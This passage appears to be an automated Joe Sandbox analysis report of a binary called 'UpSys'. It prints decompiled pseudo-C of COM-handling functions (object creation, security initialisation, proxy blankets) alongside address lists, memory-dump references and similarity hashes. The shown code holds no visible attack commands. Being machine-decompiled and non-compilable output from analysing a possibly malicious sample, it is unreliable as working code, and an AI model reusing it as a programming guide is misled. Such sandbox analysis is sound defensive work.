				goto 0x4008eb5a;
				E00000001140016A44(_t98,  *((intOrPtr*)(_t252 + 0x140)));
				if (_t173 == _t248) goto 0x4008e87e;
				E00000001140015220(_t173, _t195,  *((intOrPtr*)(_t252 + 0x140)));
				_t255 = _t252 + 0x58;
				 *((long long*)(_t252 + 0x28)) = _t252 + 0x138;
				 *((long long*)(_t252 + 0x58)) = _t173;
				_t174 =  *_t268;
				r9d = 1;
				 *(_t252 + 0x20) = 0x400;
				if ( *((intOrPtr*)(_t174 + 0x28))(_t277, _t273, _t270, _t267, _t237, _t244, _t248) >= 0) goto 0x4008e885;
				0x40017be8();
				r9d = 0;
				goto 0x4008e7f8;
				 *((intOrPtr*)(_t252 + 0x138)) = 0;
				_t175 =  <  ? 0xffffffff : _t174;
				0x400166f8();
				_t249 = _t175;
				if (_t195 - _t175 <= 0) goto 0x4008e925;
				_t274 = _t175;
				_t232 = _t249 + (_t195 - _t175 + (_t195 - _t175) * 2 - 3) * 8;
				if (E0000000114008B330(_t195,  *((intOrPtr*)(_t274 +  *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x148)) + 8)))), _t232, __r10, _t265) != 0) goto 0x4008e8ee;
				_t275 = _t274 + 8;
				if (_t232 - _t195 < 0) goto 0x4008e8b6;
				goto 0x4008e91c;
				r8d = 0;
				_t37 = _t255 + 5; // 0x5
				 *(_t252 + 0x20) = 1;
				_t106 = E0000000114008CDC0(_t123, _t37, _t195, _t238, _t238,  *((intOrPtr*)(_t252 + 0x140)), _t249, _t252 + 0x58, L"Conversion of parameters failed", __r10);
				r14d = 0;
				r13d = _t106;
				 *((intOrPtr*)(_t252 + 0x50)) = _t106;
				_t158 = _t106 - r14d;
				if (_t158 != 0) goto 0x4008eafd;
				r14w =  *(_t252 + 0x128);
				 *((intOrPtr*)(_t252 + 0x78)) = _t122;
				 *((long long*)(_t252 + 0x68)) = _t249;
				if (_t158 == 0) goto 0x4008e94a;
				 *((intOrPtr*)(_t252 + 0x7c)) = 1;
				 *((long long*)(_t252 + 0x70)) = _t252 + 0x64;
				__imp__#8();
				_t48 = _t232 + 0x40; // 0x40
				r8d = _t48;
				E00000001140017520(_t106, _t123, 0, _t252 + 0xa0, _t232, _t252 + 0x58);
				r9d = 0x800;
				 *((long long*)(_t252 + 0x40)) = _t252 + 0x60;
				 *((long long*)(_t252 + 0x38)) = _t252 + 0xa0;
				 *((long long*)(_t252 + 0x30)) = _t252 + 0x80;
				 *((long long*)(_t252 + 0x28)) = _t252 + 0x68;
				 *(_t252 + 0x20) = r14w;
				if ( *((intOrPtr*)( *_t268 + 0x30))() != 0x80020003) goto 0x4008ea35;
				if ((r14w & 0xc) == 0) goto 0x4008ea53;
				 *((long long*)(_t252 + 0x40)) = _t252 + 0x60;
				 *((long long*)(_t252 + 0x38)) = _t252 + 0xa0;
				 *((long long*)(_t252 + 0x30)) = _t252 + 0x80;
				 *((long long*)(_t252 + 0x28)) = _t252 + 0x68;
				r9d = 0x800;
				 *(_t252 + 0x20) = ( !(r14w & 0xffffffff) ^ r14w) & 0x0000000c ^ r14w;
				_t114 =  *((intOrPtr*)( *_t268 + 0x30))();
				r14d = 0;
				if (_t114 - r14d >= 0) goto 0x4008ea70;
				if (_t114 != 0x80020009) goto 0x4008ea56;
				r9d = 0;
				goto 0x4008ea5e;
				r14d = 0;
				r9d = 0;
				r8d = 0;
				 *(_t252 + 0x20) = 1;
				r13d = E0000000114008CDC0(0, _t114, _t195, _t238, _t238,  *((intOrPtr*)(_t252 + 0x140)), _t249, _t252 + 0xa0, L"Conversion of parameters failed",  *_t268);
				goto 0x4008eaef;
				_t116 = E0000000114007A020(0, _t114, _t252 + 0x68, _t195, _t278, _t252 + 0x80, _t245, _t252 + 0xa0, L"Conversion of parameters failed");
				if (_t195 - _t275 <= 0) goto 0x4008eaef;
				_t185 =  *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x148)) + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t275 + _t185)) + 8)) != 6) goto 0x4008eac8;
				_t117 = E0000000114003F5D0(_t116,  *((intOrPtr*)(_t275 + _t185)));
				if (_t185 == _t275) goto 0x4008eadd;
				E0000000114003F5D0(_t117,  *((intOrPtr*)(_t275 + _t185)));
				goto 0x4008ead8;
				_t236 = _t249 + (_t195 - _t249 + (_t195 - _t275 + (_t195 - _t275) * 2 - 3) * 8 + (_t195 - _t249 + (_t195 - _t275 + (_t195 - _t275) * 2 - 3) * 8) * 2 - 3) * 8;
				E0000000114007A020(0, _t114, _t195 - _t249 + (_t195 - _t275 + (_t195 - _t275) * 2 - 3) * 8 + (_t195 - _t249 + (_t195 - _t275 + (_t195 - _t275) * 2 - 3) * 8) * 2 - 3, _t195, _t195 - _t275 + (_t195 - _t275) * 2 - 3, _t236, _t245, _t252 + 0xa0, L"Conversion of parameters failed");
				if (_t236 - _t195 < 0) goto 0x4008ea96;
				r13d =  *((intOrPtr*)(_t252 + 0x50));
				__imp__#9();
				r12d = r14d;
				if (_t195 - _t275 <= 0) goto 0x4008eb39;
				if ( *_t249 != 0xc) goto 0x4008eb1b;
				__imp__#9();
				__imp__#9();
				r12d = r12d + 1;
				if (_t275 - _t195 < 0) goto 0x4008eb0b;
				0x40017be8();
				if ( *((intOrPtr*)(_t252 + 0x58)) == _t275) goto 0x4008eb50;
				0x40017be8();
				goto 0x4008eb6e;
				r8d = 0;
				 *(_t252 + 0x20) = 1;
				return E0000000114008CDC0(0, 1, _t195,  *((intOrPtr*)(_t252 + 0x58)), _t249 + 0x18, _t275, _t249, _t252 + 0xa0, L"NULL Pointer assignment",  *_t268);
			}





































                                                                                                                                                                                                        0x14008e760
                                                                                                                                                                                                        0x14008e760
                                                                                                                                                                                                        0x14008e760
                                                                                                                                                                                                        0x14008e760
                                                                                                                                                                                                        0x14008e763
                                                                                                                                                                                                        0x14008e767
                                                                                                                                                                                                        0x14008e776
                                                                                                                                                                                                        0x14008e787
                                                                                                                                                                                                        0x14008e78a
                                                                                                                                                                                                        0x14008e78e
                                                                                                                                                                                                        0x14008e792
                                                                                                                                                                                                        0x14008e795
                                                                                                                                                                                                        0x14008e79a
                                                                                                                                                                                                        0x14008e79f
                                                                                                                                                                                                        0x14008e7a3
                                                                                                                                                                                                        0x14008e7a7
                                                                                                                                                                                                        0x14008e7af
                                                                                                                                                                                                        0x14008e7b2
                                                                                                                                                                                                        0x14008e7b5
                                                                                                                                                                                                        0x14008e7b9
                                                                                                                                                                                                        0x14008e7c1
                                                                                                                                                                                                        0x14008e7ca
                                                                                                                                                                                                        0x14008e7d0
                                                                                                                                                                                                        0x14008e7db
                                                                                                                                                                                                        0x14008e7ec
                                                                                                                                                                                                        0x14008e7fb
                                                                                                                                                                                                        0x14008e800
                                                                                                                                                                                                        0x14008e803
                                                                                                                                                                                                        0x14008e80a
                                                                                                                                                                                                        0x14008e814
                                                                                                                                                                                                        0x14008e81c
                                                                                                                                                                                                        0x14008e824
                                                                                                                                                                                                        0x14008e829
                                                                                                                                                                                                        0x14008e836
                                                                                                                                                                                                        0x14008e83b
                                                                                                                                                                                                        0x14008e840
                                                                                                                                                                                                        0x14008e845
                                                                                                                                                                                                        0x14008e850
                                                                                                                                                                                                        0x14008e859
                                                                                                                                                                                                        0x14008e868
                                                                                                                                                                                                        0x14008e86f
                                                                                                                                                                                                        0x14008e874
                                                                                                                                                                                                        0x14008e879
                                                                                                                                                                                                        0x14008e87e
                                                                                                                                                                                                        0x14008e898
                                                                                                                                                                                                        0x14008e89f
                                                                                                                                                                                                        0x14008e8a4
                                                                                                                                                                                                        0x14008e8ae
                                                                                                                                                                                                        0x14008e8b3
                                                                                                                                                                                                        0x14008e8d1
                                                                                                                                                                                                        0x14008e8dd
                                                                                                                                                                                                        0x14008e8e1
                                                                                                                                                                                                        0x14008e8ea
                                                                                                                                                                                                        0x14008e8ec
                                                                                                                                                                                                        0x14008e8ee
                                                                                                                                                                                                        0x14008e8fb
                                                                                                                                                                                                        0x14008e8ff
                                                                                                                                                                                                        0x14008e904
                                                                                                                                                                                                        0x14008e909
                                                                                                                                                                                                        0x14008e90c
                                                                                                                                                                                                        0x14008e90f
                                                                                                                                                                                                        0x14008e913
                                                                                                                                                                                                        0x14008e916
                                                                                                                                                                                                        0x14008e91c
                                                                                                                                                                                                        0x14008e929
                                                                                                                                                                                                        0x14008e92d
                                                                                                                                                                                                        0x14008e936
                                                                                                                                                                                                        0x14008e93d
                                                                                                                                                                                                        0x14008e945
                                                                                                                                                                                                        0x14008e952
                                                                                                                                                                                                        0x14008e962
                                                                                                                                                                                                        0x14008e962
                                                                                                                                                                                                        0x14008e966
                                                                                                                                                                                                        0x14008e982
                                                                                                                                                                                                        0x14008e988
                                                                                                                                                                                                        0x14008e998
                                                                                                                                                                                                        0x14008e9a5
                                                                                                                                                                                                        0x14008e9af
                                                                                                                                                                                                        0x14008e9b4
                                                                                                                                                                                                        0x14008e9c3
                                                                                                                                                                                                        0x14008e9ca
                                                                                                                                                                                                        0x14008e9e0
                                                                                                                                                                                                        0x14008e9f1
                                                                                                                                                                                                        0x14008ea01
                                                                                                                                                                                                        0x14008ea0f
                                                                                                                                                                                                        0x14008ea26
                                                                                                                                                                                                        0x14008ea2c
                                                                                                                                                                                                        0x14008ea31
                                                                                                                                                                                                        0x14008ea35
                                                                                                                                                                                                        0x14008ea3b
                                                                                                                                                                                                        0x14008ea44
                                                                                                                                                                                                        0x14008ea46
                                                                                                                                                                                                        0x14008ea51
                                                                                                                                                                                                        0x14008ea53
                                                                                                                                                                                                        0x14008ea56
                                                                                                                                                                                                        0x14008ea5b
                                                                                                                                                                                                        0x14008ea61
                                                                                                                                                                                                        0x14008ea6b
                                                                                                                                                                                                        0x14008ea6e
                                                                                                                                                                                                        0x14008ea7b
                                                                                                                                                                                                        0x14008ea86
                                                                                                                                                                                                        0x14008ea96
                                                                                                                                                                                                        0x14008eaa2
                                                                                                                                                                                                        0x14008eaa4
                                                                                                                                                                                                        0x14008eaac
                                                                                                                                                                                                        0x14008eabe
                                                                                                                                                                                                        0x14008eac6
                                                                                                                                                                                                        0x14008ead3
                                                                                                                                                                                                        0x14008ead8
                                                                                                                                                                                                        0x14008eae8
                                                                                                                                                                                                        0x14008eaea
                                                                                                                                                                                                        0x14008eaf7
                                                                                                                                                                                                        0x14008eafd
                                                                                                                                                                                                        0x14008eb03
                                                                                                                                                                                                        0x14008eb0f
                                                                                                                                                                                                        0x14008eb15
                                                                                                                                                                                                        0x14008eb24
                                                                                                                                                                                                        0x14008eb2a
                                                                                                                                                                                                        0x14008eb37
                                                                                                                                                                                                        0x14008eb3c
                                                                                                                                                                                                        0x14008eb49
                                                                                                                                                                                                        0x14008eb4b
                                                                                                                                                                                                        0x14008eb53
                                                                                                                                                                                                        0x14008eb61
                                                                                                                                                                                                        0x14008eb64
                                                                                                                                                                                                        0x14008eb88

                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                                                                                                                        • API String ID: 0-4206948668
                                                                                                                                                                                                        • Opcode ID: 02d666b0b066666c9bb0eb89e89c020b96567bc6f68a84c469b7cf7e15dbae89
                                                                                                                                                                                                        • Instruction ID: 42d80715d338b864577caf806b4318e6718fdbb9ae5bf8e01fc4d07dc8c873d3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 02d666b0b066666c9bb0eb89e89c020b96567bc6f68a84c469b7cf7e15dbae89
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 93B18F33204AC086EA629F26E4407DEB7A1F388BD4F544121FB9D57BA4DF78D645CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008F5C0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 249comCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E0000000114008F5C0(void* __ecx, void* __edx, void* __esi, long long __rbx, void* __rcx, signed long long __rdx, long long __rdi, long long __rsi, void* __rbp, void* __r8, void* __r9, void* __r10, long long __r12, intOrPtr _a40, long long _a48, intOrPtr* _a56) {
				void* _v24;
				char _v56;
				intOrPtr _v80;
				char _v88;
				intOrPtr _v112;
				char _v120;
				long long _v136;
				char _v144;
				char _v152;
				char _v168;
				void* _v192;
				char _v200;
				char _v204;
				intOrPtr _v208;
				long long _v216;
				intOrPtr _v224;
				long long _v232;
				intOrPtr _v240;
				char _v248;
				intOrPtr _v256;
				long long _v264;
				char _v272;
				long long _v288;
				short _v296;
				intOrPtr _v304;
				long long _v312;
				intOrPtr _v316;
				char _v320;
				long long _v328;
				char _v332;
				char _v336;
				void* _v344;
				long long _v360;
				intOrPtr _v368;
				long long _v376;
				long long _v384;
				char _v392;
				void* _t122;
				void* _t125;
				void* _t127;
				void* _t146;
				void* _t149;
				void* _t162;
				void* _t179;
				void* _t180;
				void* _t194;
				intOrPtr _t198;
				long long _t199;
				long long _t205;
				intOrPtr _t208;
				char* _t244;
				long long _t254;
				long long _t257;
				void* _t260;
				void* _t263;
				void* _t278;
				void* _t283;
				void* _t285;
				intOrPtr* _t286;
				void* _t288;
				signed long long _t289;
				signed long long _t290;
				long long _t292;

				_t278 = __r10;
				_t262 = __rbp;
				_t206 = __rbx;
				_t179 = __esi;
				_t162 = __ecx;
				_t194 = _t263;
				 *((long long*)(_t194 + 8)) = __rbx;
				 *((long long*)(_t194 + 0x10)) = __rsi;
				 *((long long*)(_t194 + 0x18)) = __rdi;
				 *((long long*)(_t194 + 0x20)) = __r12;
				_t283 = __rcx;
				r15d = 0;
				_t260 = __r9;
				_t289 = __rdx;
				_v344 = _t292;
				E0000000114000FD50(_t194, __rbx, _t194 - 0xc8);
				E0000000114000FD50(_t194, _t206,  &_v88);
				_t122 = E0000000114000FD50(_t194, _t206,  &_v120);
				_t9 = _t292 + 0x24; // 0x24
				r8d = _t9;
				_v336 = r15d;
				E00000001140017520(_t122, _t162, 0,  &_v332, __rdx, __r8);
				_t286 = _a56;
				E00000001140007A40(_t206, _t286, _t260, _t292);
				 *((intOrPtr*)(_t286 + 8)) = 1;
				 *_t286 = r15d;
				_t180 =  *0x400c5f0e - r15b; // 0x0
				if (_t180 != 0) goto 0x4008f660;
				__imp__OleInitialize(_t285);
				 *0x400c5f0e = 1;
				_t125 = E00000001140015220(_t194, _t206, __rdx);
				_t244 =  &_v168;
				_t207 = _t194;
				__imp__CLSIDFromProgID();
				0x40017be8();
				if (_t125 - r15d >= 0) goto 0x4008f692;
				goto 0x4008fa63;
				_v296 = 9;
				if (_t260 != _t292) goto 0x4008f729;
				_t17 = _t244 + 5; // 0x5
				r8d = _t17;
				_v392 =  &_v344;
				__imp__CoCreateInstance();
				if (9 - r15d < 0) goto 0x4008f6fa;
				_t127 =  *((intOrPtr*)( *_v344))();
				 *((intOrPtr*)( *_v344 + 0x10))();
				if (_t127 != r15d) goto 0x4008fa61;
				E0000000114007A020(0, 0,  *_v344, _t194, _t286,  &_v296, _t260,  &_v288, 0x40098280);
				_t198 =  *_v288;
				 *((intOrPtr*)(_t198 + 0x10))();
				goto 0x4008fa78;
				_t257 = _a48;
				_v392 = _t257;
				if (E000000011400681A0(0, 0, _t127 - r15d, _t194, _t289, _t260, __rbp,  &_v168, _a40) != r15d) goto 0x4008fa61;
				_v360 = _t292;
				_v368 = r15d;
				_v376 = _t292;
				_t290 = _t289 | 0xffffffff;
				r9d = 0;
				r8d = 0;
				_v384 = 3;
				_v392 = 2;
				__imp__CoInitializeSecurity();
				r8d = _t290 + 0x21;
				E00000001140017520(_t131, 0, 0,  &_v152, _t260,  &_v168);
				E0000000114003E000(_t198, _t194, _t260,  &_v144);
				if (_a40 == _t292) goto 0x4008f945;
				_v204 = 1;
				E000000011400107E0(_t198,  &_v200, _a40, _t257);
				E0000000114003EA70(_t207,  &_v200, "\\");
				_t208 = _t198;
				if (_t198 != _t290) goto 0x4008f829;
				_t199 = _v200;
				_v232 = _t292;
				_v224 = r15d;
				_v248 = _t199;
				goto 0x4008f8cc;
				E00000001140076B40(_t179, _t199, _t208,  &_v200,  &_v56, _t260, _t262, _t199, _t288);
				E00000001140002610(E00000001140012600( &_v88, _t199), _t208,  &_v56);
				_t55 = _t208 + 1; // 0x1
				_v232 = _v88;
				_v224 = _v80;
				E00000001140072840(_t179, _t199, _t208,  &_v200,  &_v56, _t260, _t262, _t55, _t290);
				_t254 = _t199;
				E00000001140002610(E00000001140012600( &_v120, _t254), _t208,  &_v56);
				_v248 = _v120;
				_v240 = _v112;
				if (_t257 == _t292) goto 0x4008f8f1;
				_v216 = _t257;
				_v208 = E00000001140016A44(_v112, _t257);
				goto 0x4008f901;
				_v216 = _t292;
				_v208 = r15d;
				_v320 = 2;
				_v312 =  &_v248;
				_v332 = r15d;
				_v336 = 9;
				_v304 = r15d;
				_v316 = 3;
				_v136 =  &_v336;
				_v328 = _t292;
				goto 0x4008f952;
				_v136 = _t292;
				_v288 = _t292;
				_t83 = _t254 + 0x18; // 0x18
				r8d = _t83;
				_t146 = E00000001140017520(_t145, 0, 0,  &_v272, _t254, _t55);
				_v272 = 0x40098290;
				_v264 = _v288;
				_v384 =  &_v272;
				r8d = 0x1400982a0;
				_v256 = r15d;
				_v392 = 1;
				__imp__CoCreateInstanceEx();
				if (_t146 - r15d < 0) goto 0x4008f6fa;
				if (_v256 - r15d < 0) goto 0x4008fa61;
				if (_v136 == _t292) goto 0x4008fa2d;
				r8d = _v332;
				_v368 = 0x800;
				_v376 =  &_v248;
				_v384 = _v316;
				_v392 = _v320;
				__imp__CoSetProxyBlanket();
				_t205 = _v264;
				_v296 = 9;
				_v288 = _t205;
				if (_t205 != _t292) goto 0x4008f6fa;
				_v392 = 1;
				goto 0x4008fa6b;
				_v392 = r15b;
				r9d = 0;
				r8d = 0;
				_t149 = E0000000114008CDC0(0, _v320, _t208, _t283, _t257, _t260, _t262, _t55, L"NULL Pointer assignment", _t278);
				E00000001140002610(E00000001140002610(E00000001140002610(_t149, _t208,  &_v120), _t208,  &_v88), _t208,  &_v200);
				return _t149;
			}


































































                                                                                                                                                                                                        0x14008f5c0
                                                                                                                                                                                                        0x14008f5c0
                                                                                                                                                                                                        0x14008f5c0
                                                                                                                                                                                                        0x14008f5c0
                                                                                                                                                                                                        0x14008f5c0
                                                                                                                                                                                                        0x14008f5c0
                                                                                                                                                                                                        0x14008f5c3
                                                                                                                                                                                                        0x14008f5c7
                                                                                                                                                                                                        0x14008f5cb
                                                                                                                                                                                                        0x14008f5cf
                                                                                                                                                                                                        0x14008f5e0
                                                                                                                                                                                                        0x14008f5ea
                                                                                                                                                                                                        0x14008f5ed
                                                                                                                                                                                                        0x14008f5f0
                                                                                                                                                                                                        0x14008f5f3
                                                                                                                                                                                                        0x14008f5f8
                                                                                                                                                                                                        0x14008f605
                                                                                                                                                                                                        0x14008f612
                                                                                                                                                                                                        0x14008f617
                                                                                                                                                                                                        0x14008f617
                                                                                                                                                                                                        0x14008f622
                                                                                                                                                                                                        0x14008f627
                                                                                                                                                                                                        0x14008f62c
                                                                                                                                                                                                        0x14008f637
                                                                                                                                                                                                        0x14008f63c
                                                                                                                                                                                                        0x14008f644
                                                                                                                                                                                                        0x14008f648
                                                                                                                                                                                                        0x14008f64f
                                                                                                                                                                                                        0x14008f653
                                                                                                                                                                                                        0x14008f659
                                                                                                                                                                                                        0x14008f663
                                                                                                                                                                                                        0x14008f668
                                                                                                                                                                                                        0x14008f673
                                                                                                                                                                                                        0x14008f676
                                                                                                                                                                                                        0x14008f681
                                                                                                                                                                                                        0x14008f689
                                                                                                                                                                                                        0x14008f68d
                                                                                                                                                                                                        0x14008f697
                                                                                                                                                                                                        0x14008f6a2
                                                                                                                                                                                                        0x14008f6b6
                                                                                                                                                                                                        0x14008f6b6
                                                                                                                                                                                                        0x14008f6c2
                                                                                                                                                                                                        0x14008f6c7
                                                                                                                                                                                                        0x14008f6d2
                                                                                                                                                                                                        0x14008f6eb
                                                                                                                                                                                                        0x14008f6f7
                                                                                                                                                                                                        0x14008f6fd
                                                                                                                                                                                                        0x14008f70e
                                                                                                                                                                                                        0x14008f71b
                                                                                                                                                                                                        0x14008f71e
                                                                                                                                                                                                        0x14008f724
                                                                                                                                                                                                        0x14008f729
                                                                                                                                                                                                        0x14008f747
                                                                                                                                                                                                        0x14008f756
                                                                                                                                                                                                        0x14008f75c
                                                                                                                                                                                                        0x14008f761
                                                                                                                                                                                                        0x14008f766
                                                                                                                                                                                                        0x14008f76b
                                                                                                                                                                                                        0x14008f76f
                                                                                                                                                                                                        0x14008f772
                                                                                                                                                                                                        0x14008f77a
                                                                                                                                                                                                        0x14008f782
                                                                                                                                                                                                        0x14008f78a
                                                                                                                                                                                                        0x14008f790
                                                                                                                                                                                                        0x14008f79e
                                                                                                                                                                                                        0x14008f7ae
                                                                                                                                                                                                        0x14008f7bb
                                                                                                                                                                                                        0x14008f7d1
                                                                                                                                                                                                        0x14008f7dc
                                                                                                                                                                                                        0x14008f7f0
                                                                                                                                                                                                        0x14008f7f5
                                                                                                                                                                                                        0x14008f7fb
                                                                                                                                                                                                        0x14008f7fd
                                                                                                                                                                                                        0x14008f805
                                                                                                                                                                                                        0x14008f80d
                                                                                                                                                                                                        0x14008f815
                                                                                                                                                                                                        0x14008f824
                                                                                                                                                                                                        0x14008f83c
                                                                                                                                                                                                        0x14008f859
                                                                                                                                                                                                        0x14008f86d
                                                                                                                                                                                                        0x14008f884
                                                                                                                                                                                                        0x14008f88c
                                                                                                                                                                                                        0x14008f893
                                                                                                                                                                                                        0x14008f8a0
                                                                                                                                                                                                        0x14008f8b0
                                                                                                                                                                                                        0x14008f8c4
                                                                                                                                                                                                        0x14008f8cc
                                                                                                                                                                                                        0x14008f8d6
                                                                                                                                                                                                        0x14008f8db
                                                                                                                                                                                                        0x14008f8e8
                                                                                                                                                                                                        0x14008f8ef
                                                                                                                                                                                                        0x14008f8f1
                                                                                                                                                                                                        0x14008f8f9
                                                                                                                                                                                                        0x14008f90e
                                                                                                                                                                                                        0x14008f916
                                                                                                                                                                                                        0x14008f920
                                                                                                                                                                                                        0x14008f925
                                                                                                                                                                                                        0x14008f929
                                                                                                                                                                                                        0x14008f92e
                                                                                                                                                                                                        0x14008f936
                                                                                                                                                                                                        0x14008f93e
                                                                                                                                                                                                        0x14008f943
                                                                                                                                                                                                        0x14008f945
                                                                                                                                                                                                        0x14008f95c
                                                                                                                                                                                                        0x14008f964
                                                                                                                                                                                                        0x14008f964
                                                                                                                                                                                                        0x14008f968
                                                                                                                                                                                                        0x14008f97c
                                                                                                                                                                                                        0x14008f986
                                                                                                                                                                                                        0x14008f9a6
                                                                                                                                                                                                        0x14008f9ab
                                                                                                                                                                                                        0x14008f9af
                                                                                                                                                                                                        0x14008f9b7
                                                                                                                                                                                                        0x14008f9bf
                                                                                                                                                                                                        0x14008f9ca
                                                                                                                                                                                                        0x14008f9da
                                                                                                                                                                                                        0x14008f9e8
                                                                                                                                                                                                        0x14008f9ef
                                                                                                                                                                                                        0x14008fa08
                                                                                                                                                                                                        0x14008fa10
                                                                                                                                                                                                        0x14008fa19
                                                                                                                                                                                                        0x14008fa21
                                                                                                                                                                                                        0x14008fa25
                                                                                                                                                                                                        0x14008fa2d
                                                                                                                                                                                                        0x14008fa35
                                                                                                                                                                                                        0x14008fa3d
                                                                                                                                                                                                        0x14008fa48
                                                                                                                                                                                                        0x14008fa4e
                                                                                                                                                                                                        0x14008fa5f
                                                                                                                                                                                                        0x14008fa63
                                                                                                                                                                                                        0x14008fa68
                                                                                                                                                                                                        0x14008fa6b
                                                                                                                                                                                                        0x14008fa71
                                                                                                                                                                                                        0x14008fa9a
                                                                                                                                                                                                        0x14008fac2

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateInitializeInstance$BlanketFromProgProxySecurity
                                                                                                                                                                                                        • String ID: NULL Pointer assignment
                                                                                                                                                                                                        • API String ID: 628432406-2785691316
                                                                                                                                                                                                        • Opcode ID: 4b9b69843f6a2ef5f785bea0e12a2b85babb13689eb7decf2c998183022974f3
                                                                                                                                                                                                        • Instruction ID: 22fb898ae0dc6f22a23ff74a7da8c83cd0b976079101c26c8df929d339c56b23
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4b9b69843f6a2ef5f785bea0e12a2b85babb13689eb7decf2c998183022974f3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7CD10872208BC086DB72DB22E4847DEB7A5F388794F504516EB8D47BA9DF78C559CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140005060 Relevance: 12.5, APIs: 8, Instructions: 458COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 77%
                                                                                                                                                                                                        			E00000001140005060(void* __edx, void* __rax, long long __rbx, void* __rcx, long long __rbp, intOrPtr* __r8, long long __r14, long long _a16, long long _a24, long long _a32) {
				long long _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				void* __r12;
				intOrPtr _t46;
				intOrPtr _t50;
				void* _t64;
				intOrPtr _t89;
				intOrPtr* _t90;
				void* _t96;
				long long _t101;

				r15d = 0;
				_t96 = __rcx + 0x280;
				_v104 = r15d;
				_v96 = 1;
				_v88 = _t101;
				if ( *((intOrPtr*)(_t96 + 0x11)) != r15b) goto 0x40035b20;
				_t89 =  *((intOrPtr*)(_t96 + 8));
				_t90 =  *((intOrPtr*)(_t89 + 0x10));
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __r14;
				if ( *(_t89 + 0x38) == 8) goto 0x40035b2e;
				if ( *(_t89 + 0x20) == 5) goto 0x40035b7e;
				asm("movaps [esp+0x50], xmm6");
				E00000001140004F40(__rbx, _t90, _t89 + 0x30, _t96);
				if (_v88 != 0) goto 0x40035c14;
				_t46 = _v96;
				if (_t46 == 8) goto 0x40035c28;
				if (_t46 == 0xa) goto 0x40035c4c;
				if (_t46 == 5) goto 0x40035c6a;
				if (_t46 == 0xb) goto 0x40035c7a;
				if (_t46 == 0xc) goto 0x40035c98;
				asm("xorpd xmm6, xmm6");
				_v96 = 3;
				asm("movsd [esp+0x20], xmm6");
				r8d =  *((intOrPtr*)(0x140000000 + 0xb036c + ( *(_t89 + 0x38) +  *(_t89 + 0x38) * 2 +  *(_t89 + 0x38) +  *(_t89 + 0x38) * 2) * 8));
				if (r8d != 3) goto 0x40035cb6;
				asm("movaps [esp+0x40], xmm7");
				_t64 = __edx - 1;
				if (_t64 != 0) goto 0x40035d94;
				asm("movd xmm7, dword [edi+0x30]");
				asm("cvtdq2pd xmm7, xmm7");
				asm("comisd xmm6, xmm7");
